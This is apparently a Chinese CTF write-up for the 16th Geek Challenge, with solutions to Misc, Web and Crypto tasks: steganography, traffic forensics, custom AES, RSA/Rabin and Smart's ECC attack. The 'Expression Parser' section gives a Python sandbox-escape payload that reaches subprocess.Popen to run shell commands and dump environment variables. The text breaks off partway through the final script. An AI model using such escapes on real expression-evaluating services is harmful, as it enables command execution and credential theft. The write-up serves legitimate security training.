第十六届极客大挑战wp

by 🧑‍🚀 Madel1ne on 2025/11/29

随便打着玩的🤗


Misc

Bite off picture

题目描述:只有我做misc的第一步是打开010吗

用010editor打开wow.zip,最底部有段倒序的base64,进行逆序+解密获得:werwerr

image-20251107213713215


用密码werwerr解压出一张图片,修改高度获得flag

image-20251107214053520

image-20251107214205795


Blockchain SignIn

题目描述:奇怪的交易(sepolia testnet):0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6

用以太网查询网站:https://sepolia.etherscan.io/ ,查询描述给出的地址,在下面的详细信息中,选择UTF-8,得到flag


1Z_Sign

题目描述:主网这笔交易交互池子的费率0x1d3040872d9c3d15d47323996926c2aa5c7b636fc7209f701301878dcf438598

问claude4.5,直接就给出了flag

image-20251107215908121


🗃️🗃️

GSBP师傅在外出比赛结束后,打算到当地景点游览一番,他到了一个景点之后,感觉环境非常不错,让人心旷神怡,于是拍了张图片发到了社交媒体。你是一名小黑客,你能找到他现在在哪里吗
flag为SYC{城市_景点名称}
示例:SYC{成都市_武侯祠}

用百度识图搜索图片,从结果的一个文章可以看到类似的图片:北京周边|北京不预约也能玩好的公园-大众点评

image-20251107221347746

SYC{北京市_天坛公园}


HTTP

题目描述:管理员抓到一段可疑的流量,请从中还原被窃取的信息

过滤http流,第3、4、5的流里,把d=的值全部复制出来,第1个数据要先使用URL解码,再用base64解码,其他流的数据无需URL解码

image-20251107222758215

http流中提取的数据URL解码Base64解码
U1lDe1JfVV9BXw%3D%3DU1lDe1JfVV9BXw==SYC{R_U_A_
RjBSM05TMUM1无需解码F0R3NS1C5
X01BU1RFUj99无需解码_MASTER?}

合在一起获得:SYC{R_U_A_F0R3NS1C5_MASTER?}


Mission Ghost Signal

{ 出题人 : K4per & Samsara } 特工,我们在对Eternal Summer节点的常规调查中找到了一些异常。 一个从未被发现的节点频段,重复广播着奇怪的数据流。我们尝试对这个数据流进行追溯复原,得到了加密的归档。文件所使用的压缩方式十分古老,现在由你去调查,发掘一些有用的信息。

神中神套娃题😠😡👿🤬😤😾💢

附件给了一个1nn3r.zip和一个encode.exe,zip需要密码才能解压,从encode.exe入手

encode.exe

1. 主函数分析 (sub_402DB1)

输入要求: 25字节
填充方式: PKCS7填充到32字节 (填充7个0x07)
加密参数:
  - 密钥: "Syclover2025Geek" (16字节)
  - IV: "1145141145144332" (16字节)
  - 目标密文: byte_406020 (32字节)

2. 算法识别

sub_401C08 -> 初始化 (密钥扩展 + 设置IV)
  └─ sub_4019B7 -> AES密钥扩展

sub_402B57 -> CBC加密主循环
  ├─ sub_402B11 -> XOR操作 (CBC模式)
  └─ sub_402992 -> AES加密 (10轮)
      ├─ sub_401CA0 -> AddRoundKey
      ├─ sub_401D41 -> SubBytes
      ├─ sub_401DB1 -> ShiftRows
      └─ sub_401EA2 -> MixColumns

结论: 标准AES-128-CBC结构


3. 关键发现:自定义S-box

S-box生成函数 sub_401929 调用了 sub_4018B6(v3, v2, 167)

标准AES: S[i] = 0x63 ⊕ Affine(GF_inv(i))
本题AES: S[i] = 0xA7 ⊕ Affine(GF_inv(i)) (使用常量167代替0x63)


4. 底层实现分析

函数功能说明
sub_401496GF(2^8)乘法不可约多项式0x1B
sub_401460循环左移ROL(x, n)
sub_4014F6GF逆元计算a^254 = a^(-1)
sub_401546仿射变换a⊕ROL(a,1)⊕ROL(a,2)⊕ROL(a,3)⊕ROL(a,4)
sub_4018B6生成S-box使用常量167

5. 解密实现

由于使用了自定义S-box,无法直接使用pycryptodome等库,需要手动实现:

  1. GF(2^8)运算 - 乘法、求逆元
  2. S-box生成 - 根据常量167生成正向和逆向S-box
  3. AES解密 - 实现SubBytes、ShiftRows、MixColumns及其逆运算
  4. 密钥扩展 - 使用自定义S-box进行密钥扩展
  5. CBC模式 - 解密后XOR前一个密文块

6. 完整脚本

#!/usr/bin/env python3
"""
自定义AES-128-CBC解密脚本
重现题目中的自定义S-box和加密算法
"""

# ============================================================================
# GF(2^8) 运算 - 使用不可约多项式 0x1B
# ============================================================================

def gf_mult(a, b):
    """GF(2^8)乘法 - sub_401496"""
    result = 0
    while b:
        if b & 1:
            result ^= a
        if a & 0x80:
            carry = 27  # 0x1B
        else:
            carry = 0
        a = ((a << 1) ^ carry) & 0xFF
        b >>= 1
    return result

def gf_inv(a):
    """GF(2^8)求逆元 - sub_4014F6"""
    if a == 0:
        return 0
    result = 1
    for _ in range(253):  # 计算 a^254
        result = gf_mult(result, a)
    return result

# ============================================================================
# 仿射变换
# ============================================================================

def rotate_left(x, n):
    """循环左移 - sub_401460"""
    x = x & 0xFF
    return ((x << n) | (x >> (8 - n))) & 0xFF

def affine_transform(a):
    """仿射变换 - sub_401546"""
    result = a
    result ^= rotate_left(a, 1)
    result ^= rotate_left(a, 2)
    result ^= rotate_left(a, 3)
    result ^= rotate_left(a, 4)
    return result & 0xFF

# ============================================================================
# 生成自定义S-box
# ============================================================================

def generate_sbox(constant=167):
    """生成自定义S-box和逆S-box - sub_4018B6"""
    sbox = [0] * 256
    inv_sbox = [0] * 256
    
    for i in range(256):
        # v5 = gf_inv(i)
        v5 = gf_inv(i)
        # v4 = constant XOR affine(v5)
        v4 = constant ^ affine_transform(v5)
        # S[i] = v4, Inv_S[v4] = i
        sbox[i] = v4
        inv_sbox[v4] = i
    
    return sbox, inv_sbox

print("生成自定义S-box...")
SBOX, INV_SBOX = generate_sbox(167)

print(f"S-box前16个字节: {' '.join(f'{SBOX[i]:02x}' for i in range(16))}")
print(f"逆S-box前16个字节: {' '.join(f'{INV_SBOX[i]:02x}' for i in range(16))}")

# ============================================================================
# AES核心运算
# ============================================================================

def sub_bytes(state, sbox):
    """SubBytes变换"""
    return [sbox[b] for b in state]

def inv_sub_bytes(state, inv_sbox):
    """逆SubBytes变换"""
    return [inv_sbox[b] for b in state]

def shift_rows(state):
    """ShiftRows变换"""
    return [
        state[0], state[5], state[10], state[15],
        state[4], state[9], state[14], state[3],
        state[8], state[13], state[2], state[7],
        state[12], state[1], state[6], state[11]
    ]

def inv_shift_rows(state):
    """逆ShiftRows变换"""
    return [
        state[0], state[13], state[10], state[7],
        state[4], state[1], state[14], state[11],
        state[8], state[5], state[2], state[15],
        state[12], state[9], state[6], state[3]
    ]

def mix_columns(state):
    """MixColumns变换"""
    result = [0] * 16
    for col in range(4):
        s0 = state[col * 4 + 0]
        s1 = state[col * 4 + 1]
        s2 = state[col * 4 + 2]
        s3 = state[col * 4 + 3]
        
        result[col * 4 + 0] = gf_mult(2, s0) ^ gf_mult(3, s1) ^ s2 ^ s3
        result[col * 4 + 1] = s0 ^ gf_mult(2, s1) ^ gf_mult(3, s2) ^ s3
        result[col * 4 + 2] = s0 ^ s1 ^ gf_mult(2, s2) ^ gf_mult(3, s3)
        result[col * 4 + 3] = gf_mult(3, s0) ^ s1 ^ s2 ^ gf_mult(2, s3)
    
    return result

def inv_mix_columns(state):
    """逆MixColumns变换"""
    result = [0] * 16
    for col in range(4):
        s0 = state[col * 4 + 0]
        s1 = state[col * 4 + 1]
        s2 = state[col * 4 + 2]
        s3 = state[col * 4 + 3]
        
        result[col * 4 + 0] = gf_mult(14, s0) ^ gf_mult(11, s1) ^ gf_mult(13, s2) ^ gf_mult(9, s3)
        result[col * 4 + 1] = gf_mult(9, s0) ^ gf_mult(14, s1) ^ gf_mult(11, s2) ^ gf_mult(13, s3)
        result[col * 4 + 2] = gf_mult(13, s0) ^ gf_mult(9, s1) ^ gf_mult(14, s2) ^ gf_mult(11, s3)
        result[col * 4 + 3] = gf_mult(11, s0) ^ gf_mult(13, s1) ^ gf_mult(9, s2) ^ gf_mult(14, s3)
    
    return result

def add_round_key(state, round_key):
    """AddRoundKey变换"""
    return [state[i] ^ round_key[i] for i in range(16)]

# ============================================================================
# 密钥扩展 - sub_4019B7
# ============================================================================

# Rcon常量(标准AES)
RCON = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]

def key_expansion(key):
    """AES-128密钥扩展"""
    # 转换为字节列表
    if isinstance(key, bytes):
        key = list(key)
    
    # 初始化扩展密钥
    expanded_key = key[:]
    
    # 扩展到44个字(176字节)
    for i in range(4, 44):
        temp = expanded_key[(i-1)*4 : i*4]
        
        if i % 4 == 0:
            # RotWord
            temp = temp[1:] + temp[:1]
            # SubWord
            temp = [SBOX[b] for b in temp]
            # XOR with Rcon
            temp[0] ^= RCON[i // 4 - 1]
        
        # XOR with word 4 positions back
        prev_word = expanded_key[(i-4)*4 : (i-3)*4]
        new_word = [temp[j] ^ prev_word[j] for j in range(4)]
        expanded_key.extend(new_word)
    
    return expanded_key

# ============================================================================
# AES解密
# ============================================================================

def aes_decrypt_block(ciphertext_block, expanded_key):
    """AES-128解密单个块"""
    state = list(ciphertext_block)
    
    # 最后一轮密钥
    round_key = expanded_key[160:176]
    state = add_round_key(state, round_key)
    
    # 9轮主循环(逆序)
    for round_num in range(9, 0, -1):
        state = inv_shift_rows(state)
        state = inv_sub_bytes(state, INV_SBOX)
        round_key = expanded_key[round_num*16 : (round_num+1)*16]
        state = add_round_key(state, round_key)
        state = inv_mix_columns(state)
    
    # 第0轮
    state = inv_shift_rows(state)
    state = inv_sub_bytes(state, INV_SBOX)
    round_key = expanded_key[0:16]
    state = add_round_key(state, round_key)
    
    return bytes(state)

def aes_cbc_decrypt(ciphertext, key, iv):
    """AES-128-CBC解密"""
    expanded_key = key_expansion(key)
    
    plaintext = b''
    prev_block = iv
    
    # 按16字节块解密
    for i in range(0, len(ciphertext), 16):
        cipher_block = ciphertext[i:i+16]
        decrypted_block = aes_decrypt_block(cipher_block, expanded_key)
        
        # CBC模式:解密后XOR前一个密文块(或IV)
        plain_block = bytes([decrypted_block[j] ^ prev_block[j] for j in range(16)])
        plaintext += plain_block
        
        prev_block = cipher_block
    
    return plaintext

# ============================================================================
# 主程序
# ============================================================================

if __name__ == "__main__":
    # 密钥和IV
    key = b"Syclover2025Geek"
    iv = b"1145141145144332"
    
    # 密文
    ciphertext = bytes([
        0xB2, 0xB3, 0xDC, 0xB9, 0xF8, 0xD6, 0x93, 0xFF, 0xB5,
        0xA1, 0xCC, 0x2A, 0x6F, 0xDE, 0x27, 0x44, 0xAF, 0x21, 0x98,
        0xDD, 0x00, 0xC1, 0x0D, 0x1C, 0x53, 0x06, 0x81, 0x3E, 0x16, 0xAB,
        0xDF, 0x13
    ])
    
    print("\n" + "="*70)
    print("自定义AES-128-CBC解密")
    print("="*70)
    print(f"密钥: {key.decode('ascii')}")
    print(f"IV:   {iv.decode('ascii')}")
    print(f"密文: {ciphertext.hex()}")
    print("="*70)
    
    # 解密
    plaintext_padded = aes_cbc_decrypt(ciphertext, key, iv)
    
    print(f"\n解密结果 (带填充): {plaintext_padded}")
    print(f"解密结果 (Hex):    {plaintext_padded.hex()}")
    
    # 去除PKCS7填充
    padding_len = plaintext_padded[-1]
    if 1 <= padding_len <= 16:
        # 验证填充
        if all(b == padding_len for b in plaintext_padded[-padding_len:]):
            plaintext = plaintext_padded[:-padding_len]
            print(f"填充长度: {padding_len}")
            print(f"原文长度: {len(plaintext)} 字节")
            print(f"原文 (Hex): {plaintext.hex()}")
            
            print("\n" + "="*70)
            print("FLAG:")
            print("="*70)
            try:
                flag = plaintext.decode('utf-8')
                print(flag)
            except:
                flag = plaintext.decode('latin-1', errors='replace')
                print(flag)
            print("="*70)
        else:
            print("填充验证失败!")
            print(f"解密结果可能有误: {plaintext_padded}")
    else:
        print("无效的填充长度!")
        print(f"最后一个字节: 0x{plaintext_padded[-1]:02x}")

运行后得到压缩包密码:We_ve_Trapped_in_The_Sink

image-20251108161810920


音频

SSTV

用逆向得到的密码解压出一段嘈杂的音频,有经验的misc手一下就能听出这是无线电转图片(sstv),用RX-SSTV,虚拟声卡安装教程:SSTV音频转图片_rx-sstv-CSDN博客

image-20251108162011571


扫码得到一个蓝奏云的下载地址:https://wwnr.lanzoum.com/iIjAG39n7mlg ,把文件下载下来

image-20251108162152296


压缩包是伪加密,用010手动修改一下

image-20251108162449860


摩斯电码

解压出一段摩斯电码音频,用在线网站识别:摩尔斯电码音频解码器 – Morse Code Magic,得到:

55 31 6C 44 65 7A 64 6F 4D 54 56 66 4D 56 4E 66 4E 46 38 35 63 6A 52 75 52 46 39 6A 4D 45 34 31 63 44 46 79 51 47 4E 5A 4C 6E 30 3D

用CyberChef解密,先是Hex,然后是Base64,得到:SYC{7h15_1S_4_9r4nD_c0N5p1r@cY.}

image-20251108162644653


gift

题目描述:他踏上了瓷砖上很滑他叫我别往前走我没听清一脚踏上去我俩跟玩花滑似的 不经意间抬头的时候发现伞全在我这边把我罩的严严实实的他弯腰把我环住半边袖子都是雪花 在街边路口买了一盒话梅他喂了俩颗进我嘴里 那一刻的感觉就是“我们不谈恋爱,我们私奔”

用010打开压缩包,在底部可以看到一段base64,解密获得:g1ft

image-20251108170836413


用密码g1ft解压出一张叫watermark的图片,很明显是盲水印

image-20251108170948408

image-20251108170959198


CRDT

题目描述:你找到了一份协同编辑器的操作日志。请还原收敛后的最终文档

#!/usr/bin/env python3
"""
reconstruct.py

从协同编辑操作日志(JSON 数组,按时间顺序)还原收敛后的最终文档。
用法:
    python reconstruct.py /path/to/ops.json
或者
    python reconstruct.py   # 会提示输入路径
"""

import json
import sys
from pathlib import Path

def parse_id(id_str):
    """把 id 'A:12' 拆成 (site, ctr_int)"""
    try:
        site, ctr = id_str.split(":", 1)
        return site, int(ctr)
    except Exception:
        return id_str, 0

def load_ops(path):
    with open(path, "r", encoding="utf-8") as f:
        return json.load(f)

def reconstruct(ops):
    """
    ops: 列表,日志按时间顺序记录的 dict,每项有:
         - op: "ins" 或 "del"
         - id: 节点 id (例如 "A:1")
         - parent: 父 id (ins 时存在)
         - ch: 字符 (ins 时存在)
    返回: 最终文本(从 "HEAD" 节点开始按 children 顺序遍历)
    """
    # 保存所有 insert 的节点信息(即使后来被 del,我们先记录)
    nodes = {}         # id -> {"ch":..., "parent":...}
    children = {}      # parent_id -> [child_id, ...] 按插入顺序收集
    deleted = set()    # 被删除的 id 集合

    # 逐条应用日志(保持原始时间顺序)
    for op in ops:
        if op.get("op") == "ins":
            nid = op["id"]
            ch = op.get("ch", "")
            parent = op.get("parent", "HEAD")
            nodes[nid] = {"ch": ch, "parent": parent}
            children.setdefault(parent, []).append(nid)
            # 确保也存在空的 children 列表以防 parent later referenced
            children.setdefault(nid, [])
        elif op.get("op") == "del":
            deleted.add(op["id"])
        else:
            # 忽略未知类型
            continue

    # 对 children 列表做确定性排序:
    # 我们用 (ctr, site) 排序,ctr 为 id 中的数字部分(int),这样相同 parent 的插入有确定顺序
    for parent, ch_list in children.items():
        ch_list.sort(key=lambda x: (parse_id(x)[1], parse_id(x)[0]))

    # 递归构建文本(跳过已删除节点)
    sys.setrecursionlimit(10000)
    def build_text(node_id):
        out = []
        for child_id in children.get(node_id, []):
            if child_id in deleted:
                # 已删除节点及其子树视作不存在(不过若某些被删除节点仍有活着的子节点,这个实现会跳过这些已删除节点的字符,
                # 但仍会继续尝试遍历其子节点 — 如果需要防止对子节点的访问,可在此处继续 skip)
                continue
            node = nodes.get(child_id)
            if node is None:
                # 如果插入记录不存在(极少见),跳过
                continue
            out.append(node["ch"])
            out.extend(build_text(child_id))
        return out

    final = "".join(build_text("HEAD"))
    return final

def main():
    if len(sys.argv) >= 2:
        path = Path(sys.argv[1])
    else:
        inp = input("请输入协同编辑日志文件路径(JSON 格式): ").strip()
        path = Path(inp)

    if not path.exists():
        print("错误:文件不存在 ->", str(path))
        sys.exit(2)

    try:
        ops = load_ops(path)
    except Exception as e:
        print("读取/解析 JSON 文件失败:", e)
        sys.exit(3)

    final_text = reconstruct(ops)
    print("\n=== 重建完成 ===")
    print(final_text)
    print("=== END ===\n")

if __name__ == "__main__":
    main()

image-20251108174840561


Expression Parser

题目描述:看起来只能解析 Python 表达式

获取所有子类

().__class__.__bases__[0].__subclasses__()

通过对象的类继承链访问所有内置类的子类列表


列出类名便于查找

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

找到可利用的类,如 subprocess.Popenos._wrap_close


命令执行 - 使用Popen

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ls','-la'],stdout=-1).communicate()

通过 subprocess.Popen 执行系统命令


查看环境变量获取Flag

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['env'],stdout=-1).communicate()

image-20251117161536647


4ak5ra

题目描述:flag中间没空格 sakura因为喜欢藏东西所以被骂了一顿。后面我过去的时候他蹲在地上画圈圈,我上前看到他在圈里写了三个神秘字母:LSB

附件的4ak5ra.jpg藏了一个zip压缩包,用foremost进行分离出压缩包,获得4akra.png,根据题目描述用lsb提取flag

image-20251117164434564


Dream

题目描述:小明昨晚梦见一个很奇怪的sepolia地址0xd8B361E50174c4Ae99E31dCdF10B353C961f9C43,于是他决定去看看。

https://sepolia.etherscan.io/ 查询这个地址,页面有一个更多信息,点击日期

image-20251118181123391


在更多细节里,选择UTF-8,找到flag

image-20251118181250947


hidden

题目描述:Samsara:word的本质是什么? :叽里咕噜说什么呢不如去整点薯条

打开word文档,在设置开启显示隐藏文字,获得flag1:SYC{adsad

将word的后缀修改为.zip,在/doc目录下找到word.txt和flag3.jpg,flag2在word.txt里,用base解码获得:362geydgwunkdwee

flag3.jpg缺少文件头,手动补全一下,打开后获得flag3:sjdmd}

image-20251118185922014

合在一起获得:SYC{adsad362geydgwunkdweesjdmd}


Web

阿基里斯追乌龟

题目描述:在古希腊,英雄阿基里斯和一只乌龟赛跑。阿基里斯的速度是乌龟的十倍。比赛开始时,乌龟在阿基里斯前面100米。芝诺悖论认为,当阿基里斯追到乌龟的出发点时,乌龟已经又向前爬了一段距离。当阿基里斯再追到那个位置时,乌龟又向前爬了。如此无限循环,阿基里斯似乎永远也追不上乌龟。他真的追不上吗?

// 直接在 Console 粘贴执行
// 构造一个“看起来合理”的 payload(根据后端逻辑可能需要 achilles_distance >= tortoise_distance)
const payload = {
  achilles_distance: 1e12,   // 大数,确保“追上/超过”
  tortoise_distance: 0
};

// 使用页面上已有的 encryptData(若页面有定义)
const b64 = encryptData(payload);

fetch('/chase', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ data: b64 })
})
.then(r => r.json())
.then(res => {
  console.log('raw response:', res);
  if (res.data) {
    console.log('decrypted:', decryptData(res.data));
  } else {
    console.log('可能返回了 error:', res);
  }
})
.catch(console.error);

image-20251108132752257


Crypto

baby_rabin

题目描述:炒鸡签到题,点击就送.flag前缀是syc

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
RSA变种解题脚本
- n = p*q*r (三个质数)
- hint = p*q
- q ≈ p + 2^400 (p和q很接近)
- e = 8, 且所有质数 ≡ 3 (mod 4)
"""

from Crypto.Util.number import *

def isqrt(n):
    """整数平方根 - 使用牛顿法"""
    if n < 0:
        raise ValueError("负数没有平方根")
    if n == 0:
        return 0
    x = n
    y = (x + 1) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat_factor(n):
    """Fermat分解法 - 适用于两个因子接近的情况"""
    a = isqrt(n)
    if a * a < n:
        a += 1
    
    max_iterations = 100000000
    for i in range(max_iterations):
        if i % 10000000 == 0 and i > 0:
            print(f"  已检查 {i} 个值...")
        
        b_squared = a * a - n
        if b_squared >= 0:
            b = isqrt(b_squared)
            if b * b == b_squared:
                # 找到分解!
                p = a - b
                q = a + b
                return p, q
        a += 1
    
    return None, None

def compute_all_8th_roots_mod_p(c, p):
    """计算c在模p下的所有8次方根
    对于 p ≡ 3 (mod 4),可以用简单方法计算平方根
    8 = 2^3,所以需要连续3次开平方根
    """
    roots = [c]
    # 连续3次开平方根 (因为 8 = 2^3)
    for iteration in range(3):
        new_roots = []
        for x in roots:
            # 对于 p ≡ 3 (mod 4),平方根为 x^((p+1)/4)
            sqrt1 = pow(x, (p + 1) // 4, p)
            sqrt2 = (p - sqrt1) % p
            # 验证
            if pow(sqrt1, 2, p) == x % p:
                new_roots.append(sqrt1)
                if sqrt1 != sqrt2:
                    new_roots.append(sqrt2)
        roots = new_roots
    return roots

def CRT3(a1, n1, a2, n2, a3, n3):
    """中国剩余定理 - 求解三个同余方程
    m ≡ a1 (mod n1)
    m ≡ a2 (mod n2)
    m ≡ a3 (mod n3)
    """
    N = n1 * n2 * n3
    N1 = N // n1
    N2 = N // n2
    N3 = N // n3
    y1 = inverse(N1, n1)
    y2 = inverse(N2, n2)
    y3 = inverse(N3, n3)
    m = (a1 * N1 * y1 + a2 * N2 * y2 + a3 * N3 * y3) % N
    return m

# ==================== 题目给定的值 ====================
C = 451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
n = 491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
hint = 66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353
e = 8

print("=" * 60)
print("步骤1: 计算 r = n / hint")
print("=" * 60)
r = n // hint
print(f"r = {r}")
print(f"验证: n % hint == 0: {n % hint == 0}")

print("\n" + "=" * 60)
print("步骤2: 使用Fermat分解法分解 hint = p × q")
print("=" * 60)
print("由于 q ≈ p + 2^400,p和q非常接近,适合用Fermat分解法")
p, q = fermat_factor(hint)
print(f"p = {p}")
print(f"q = {q}")

print("\n" + "=" * 60)
print("验证分解结果")
print("=" * 60)
print(f"p × q × r == n: {p * q * r == n}")
print(f"p × q == hint: {p * q == hint}")
print(f"p % 4 = {p % 4}")
print(f"q % 4 = {q % 4}")
print(f"r % 4 = {r % 4}")
print(f"q - p = {q - p} ≈ 2^400 = {2**400}")

print("\n" + "=" * 60)
print("步骤3: 计算C在模p、q、r下的所有8次方根")
print("=" * 60)
print("由于 gcd(e, φ(n)) = 8 ≠ 1,不能直接用标准RSA解密")
print("需要分别在每个质数下求8次方根,然后用CRT组合")

Cp = C % p
Cq = C % q
Cr = C % r

print("\n计算所有8次方根...")
mps = compute_all_8th_roots_mod_p(Cp, p)
mqs = compute_all_8th_roots_mod_p(Cq, q)
mrs = compute_all_8th_roots_mod_p(Cr, r)

print(f"找到 {len(mps)} 个根 (mod p)")
print(f"找到 {len(mqs)} 个根 (mod q)")
print(f"找到 {len(mrs)} 个根 (mod r)")
print(f"总共需要尝试 {len(mps) * len(mqs) * len(mrs)} 种组合")

print("\n" + "=" * 60)
print("步骤4: 使用CRT组合所有可能的根,找出正确的flag")
print("=" * 60)

valid_flags = []
for i, mp_candidate in enumerate(mps):
    for j, mq_candidate in enumerate(mqs):
        for k, mr_candidate in enumerate(mrs):
            # 使用中国剩余定理组合
            m = CRT3(mp_candidate, p, mq_candidate, q, mr_candidate, r)
            
            # 验证是否为正确的根
            if pow(m, e, n) == C:
                # 尝试解码为flag
                try:
                    flag_bytes = long_to_bytes(m)
                    # 检查是否为可打印字符
                    if all(32 <= b < 127 or b in [ord('\n'), ord('\r'), ord('\t')] for b in flag_bytes):
                        print(f"\n✓ 找到有效flag!组合 ({i},{j},{k})")
                        print(f"明文 m = {m}")
                        print(f"Flag: {flag_bytes.decode()}")
                        valid_flags.append(flag_bytes.decode())
                except:
                    pass

print("\n" + "=" * 60)
print("解题完成!")
print("=" * 60)
if valid_flags:
    print(f"\n最终Flag: {valid_flags[0]}")
else:
    print("\n未找到有效的flag")

image-20251108165802770


pem

题目描述:反正私钥在我手里,别人拿到 enc 也没用!

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
RSA解密 - 原始RSA(textbook RSA)
题目:使用key.pem私钥解密enc文件
"""

from Crypto.PublicKey import RSA

# 读取RSA私钥
with open('key.pem', 'rb') as f:
    key = RSA.import_key(f.read())

print(f"RSA密钥信息:")
print(f"  密钥大小: {key.size_in_bits()} bits")
print(f"  n = {key.n}")
print(f"  e = {key.e}")
print(f"  d = {key.d}")

# 读取密文
with open('enc', 'rb') as f:
    ciphertext = f.read()

print(f"\n密文信息:")
print(f"  长度: {len(ciphertext)} bytes")
print(f"  十六进制: {ciphertext.hex()}")

# 原始RSA解密 (textbook RSA)
# m = c^d mod n
c = int.from_bytes(ciphertext, 'big')
m = pow(c, key.d, key.n)

# 转换为字节
plaintext = m.to_bytes((m.bit_length() + 7) // 8, 'big')

print(f"\n解密结果:")
print(f"  明文整数: {m}")
print(f"  明文(hex): {plaintext.hex()}")
print(f"  明文(bytes): {plaintext}")
print(f"  明文(string): {plaintext.decode()}")
print(f"\n✓ FLAG: {plaintext.decode()}")

image-20251108170341696


ez ecc

题目描述:order不是顺序

from sage.all import *
from Crypto.Util.number import *
import json

# Load challenge data
with open("challenge.json", "r") as f:
    data = json.load(f)

# Parse the parameters
p = int(data["p"], 16)
A = int(data["A"], 16)
B = int(data["B"], 16)
P_x = int(data["P_x"], 16)
P_y = int(data["P_y"], 16)
Q_x = int(data["Q_x"])
Q_y = int(data["Q_y"])

print("[*] Smart's Attack for Anomalous Curve")
print(f"[*] p = {hex(p)}")
print(f"[*] Curve order = p = {p}")
print()

# Create the elliptic curve
E = EllipticCurve(GF(p), [A, B])
P = E(P_x, P_y)
Q = E(Q_x, Q_y)

print(f"[*] P = {P}")
print(f"[*] Q = {Q}")
print()

def smart_attack(P, Q, p):
    """
    Smart's Attack for anomalous curves (curves where #E(F_p) = p)
    Uses p-adic logarithm to solve ECDLP efficiently
    """
    print("[*] Performing Smart's Attack...")
    
    # Get the curve
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ZZ(t) + randint(0, p) * p for t in E.a_invariants()])
    
    # Lift points to p-adic curve
    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break
    
    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break
    
    # Compute p-adic logarithm
    p_times_P = p * P_Qp
    p_times_Q = p * Q_Qp
    
    x_P = p_times_P.xy()[0]
    y_P = p_times_P.xy()[1]
    
    x_Q = p_times_Q.xy()[0]
    y_Q = p_times_Q.xy()[1]
    
    # The discrete log is (x_Q/y_Q) / (x_P/y_P) mod p
    k = ZZ(((x_Q / y_Q) / (x_P / y_P)))
    
    return k

try:
    # Perform Smart's Attack
    k = smart_attack(P, Q, p)
    
    print(f"\n[+] Found k = {k}")
    print(f"[+] k (hex) = {hex(k)}")
    
    # Verify the solution
    print(f"\n[*] Verifying solution...")
    if k * P == Q:
        print(f"[+] Verification successful: k*P == Q")
    else:
        print(f"[-] Verification failed!")
        # Try k mod order
        order = E.order()
        k = k % order
        print(f"[*] Trying k mod order = {k}")
        if k * P == Q:
            print(f"[+] Verification successful with k mod order!")
    
    # Convert k to bytes and extract the flag
    print(f"\n[*] Converting to flag...")
    try:
        flag = long_to_bytes(int(k))
        print(f"[+] Flag: {flag}")
        print(f"[+] Flag (decoded): {flag.decode('utf-8', errors='ignore')}")
    except Exception as e:
        print(f"[-] Error converting to flag: {e}")
        
except Exception as e:
    print(f"[-] Error in Smart's Attack: {e}")
    import traceback
    traceback.print_exc()

image-20251108171901189


Caesa rSlo tMachine

题目描述:Have fun ^v^

import socket
import re

def caesar_decrypt(text, shift):
    """Decrypt Caesar cipher by shifting back"""
    result = ""
    for char in text:
        if char.isalpha():
            base = ord('A') if char.isupper() else ord('a')
            result += chr((ord(char) - base - shift) % 26 + base)
        else:
            result += char
    return result

def find_caesar_shift(encrypted_text):
    """Try all possible Caesar shifts to find the one that gives us 'A:' at the start"""
    for shift in range(26):
        decrypted = caesar_decrypt(encrypted_text, shift)
        if decrypted.startswith("A:"):
            return shift, decrypted
    return None, None

def modinv(a, m):
    """Calculate modular inverse using Extended Euclidean Algorithm"""
    def extended_gcd(a, b):
        if a == 0:
            return b, 0, 1
        gcd, x1, y1 = extended_gcd(b % a, a)
        x = y1 - (b // a) * x1
        y = x1
        return gcd, x, y
    
    gcd, x, _ = extended_gcd(a % m, m)
    if gcd != 1:
        raise Exception('Modular inverse does not exist')
    return (x % m + m) % m

def find_fixed_point(a, b, P):
    """
    Find fixed point X where (a*X + b) % P = X
    Solving: a*X + b ≡ X (mod P)
            (a-1)*X ≡ -b (mod P)
            X ≡ -b * (a-1)^(-1) (mod P)
    """
    if a == 1:
        # Special case: if a = 1, then b must be 0 for a fixed point to exist
        if b == 0:
            return 0
        else:
            return None
    
    inv = modinv(a - 1, P)
    x = (-b * inv) % P
    return x

def solve_challenge(host, port):
    """Connect to the server and solve all 30 rounds"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)  # 设置超时时间
    print(f"Connecting to {host}:{port}...")
    s.connect((host, port))
    
    buffer = ""  # 用于保存多余的数据
    
    for round_num in range(30):
        # 如果buffer中没有数据,接收新数据
        if not buffer:
            data = s.recv(2048).decode()
        else:
            # 使用buffer中的数据
            data = buffer
            buffer = ""
        
        print(f"\n=== Round {round_num + 1} ===")
        print(f"Received: {data}")
        
        # Try to decrypt the Caesar cipher
        shift, decrypted = find_caesar_shift(data)
